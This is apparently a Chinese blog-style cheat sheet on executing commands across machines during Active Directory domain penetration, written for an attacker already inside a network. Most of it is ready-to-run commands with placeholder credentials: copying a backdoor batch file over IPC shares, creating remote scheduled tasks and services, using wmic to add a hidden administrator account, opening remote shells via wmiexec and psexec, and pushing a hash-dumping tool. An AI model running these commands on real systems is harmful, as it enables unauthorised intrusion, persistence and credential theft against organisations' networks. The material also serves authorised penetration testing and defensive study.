ad域渗透命令执行总结

前言

AD的全称是Active Directory:活动目录
域(Domain)是Windows网络中独立运行的单位,域之间相互访问则需要建立信任关系(即Trust Relation)。信任关系是连接在域与域之间的桥梁。当一个域与其他域建立了信任关系后两个域之间不但可以按需要相互进行管理,还可以跨网分配文件和打印机等设备资源,使不同的域之间实现网络资源的共享与管理,以及相互通信和数据传输。

在域渗透场景中,我们已经进入内网,会遇到大量的开放端口和服务,弱密码空密码,这个时候我们可以使用它们已经开启的服务选择对应的方式进行命令执行。本文对ad域渗透中常见的命令执行方式进行一个总结。

ipc

前提

开启ipc共享

配置本地安全策略:开始->运行-> secpol.msc->本地策略->安全选项->网络访问:共享>和本地帐户的安全模型>经典-本地用户进行身份验证

配置本地组策略:运行gpedit.msc ——计算机配置——Windows设置——安全设置——本地策略
——安全选项——用户账户控制:以管理员批准模式运行所有管理员——禁用。

文件共享

1
2
3
4
5
6
写入后门文件
net use z: \\目标IP\c$ "passwd" /user:"admin"
copy hack.bat \\目标ip\c$
#删除连接
net use \\目标IP\ipc$ /del

后续使用下面的方式执行

at(win10不可用)

定时任务执行命令

前提

开启windows Event log服务,开启Task Scheduler服务

其余条件同ipc

命令执行

1
2
at \\170.170.64.19 23:00 c:\windows\system32\calc.exe
at \\170.170.64.19 1 delete /yes #删除本机1号任务

schtasks

前提

开启windows Event log服务,开启Task Scheduler服务

其余条件同ipc

1
2
3
schtasks /create /tn firstTask /tr "c:\windows\system32\cmd.exe /c calc" /sc once /st 00:00 /S 170.170.64.19 /RU System /u admin /p passwd
schtasks /run /tn firstTask /S 170.170.64.19 /u admin /p passwd
schtasks /F /delete /tn firstTask /S 170.170.64.19 /u admin /p passwd

telnet

前提

开启telnet服务

命令执行

1
2
telnet 目标ip
之后可执行命令

sc

1
2
windows2003
windows XP

命令执行

1
2
3
sc \\170.170.64.19 create testSC binPath= "cmd.exe /c start c:\windows\hack.bat"
sc \\170.170.64.19 start testSC
sc \\170.170.64.19 delete testSC

wmic

前提

开启wmi服务,135端口

命令执行

1
2
3
wmic /node:170.170.64.19 /user:admin /password:passwd process call create "cmd.exe /c calc.exe"
wmic /node:170.170.64.19 /user:admin /password:passwd process call create "cmd.exe /c net user test 123456 /add && net localgroup administrators test /add"

wmiexec.vbs(需要安装)

前提

开启wmi服务,135端口

安装

下载vmiexec.vbs

命令执行

1
2
3
4
5
6
cscript.exe //nologo wmiexec.vbs /shell 170.170.64.19 admin passwd
cscript.exe wmiexec.vbs /cmd 170.170.64.19 admin passwd "cmdkey /list"
cscript.exe wmiexec.vbs /cmd 170.170.64.19 admin passwd c:\programdata\test.bat
#其他参数
-wait5000 表示这个命令等待5s后再读取结果,用于运行“运行时间长”的命令。
-persist 程序会在后台运行,不会有结果输出,而且会返回这个命令进程的 PID,方便结束进程,用于运行 nc 或者木马程序。

impackets wmiexec(需要安装)

前提

开启wmi服务,135端口

安装

1
2
3
git clone https://github.com/SecureAuthCorp/impacket/
pip install -r requirements.txt
pip install impacket

命令执行

1
2
#获取远程计算机交互式shell
python wmiexec.py admin:passwd@170.170.64.19

psexec(需要安装)

前提

开启admin$共享

安装

https://docs.microsoft.com/en-us/sysinternals/downloads/psexec 下载安装

命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
#打开交互式shell
psexec \\170.170.64.19 -u admin -p passwd cmd
#执行单条命令
psexec \\170.170.64.19 -u admin -p passwd -s cmd /c "calc.exe"
#拷贝文件到远程计算机并执行
psexec \\170.170.64.19 -u admin -p passwd -c C:\Users\Administrator\Desktop\GetHashes.exe
#其他参数
–accepteula 第一次运行会弹框,输入这个参数便不会弹框
-s 以 “nt authority\system” 权限运行远程进程
-h 如果可以,以管理员权限运行远程进程
-d 不等待程序执行完就返回,请只对非交互式应用程序使用此选项
\\ip 可以替换成 @ip.txt (存放多个 ip 的文本),可以批量执行命令

远程桌面

前提

开启远程桌面,3389端口

命令执行

可直接通过mstsc进入目标系统。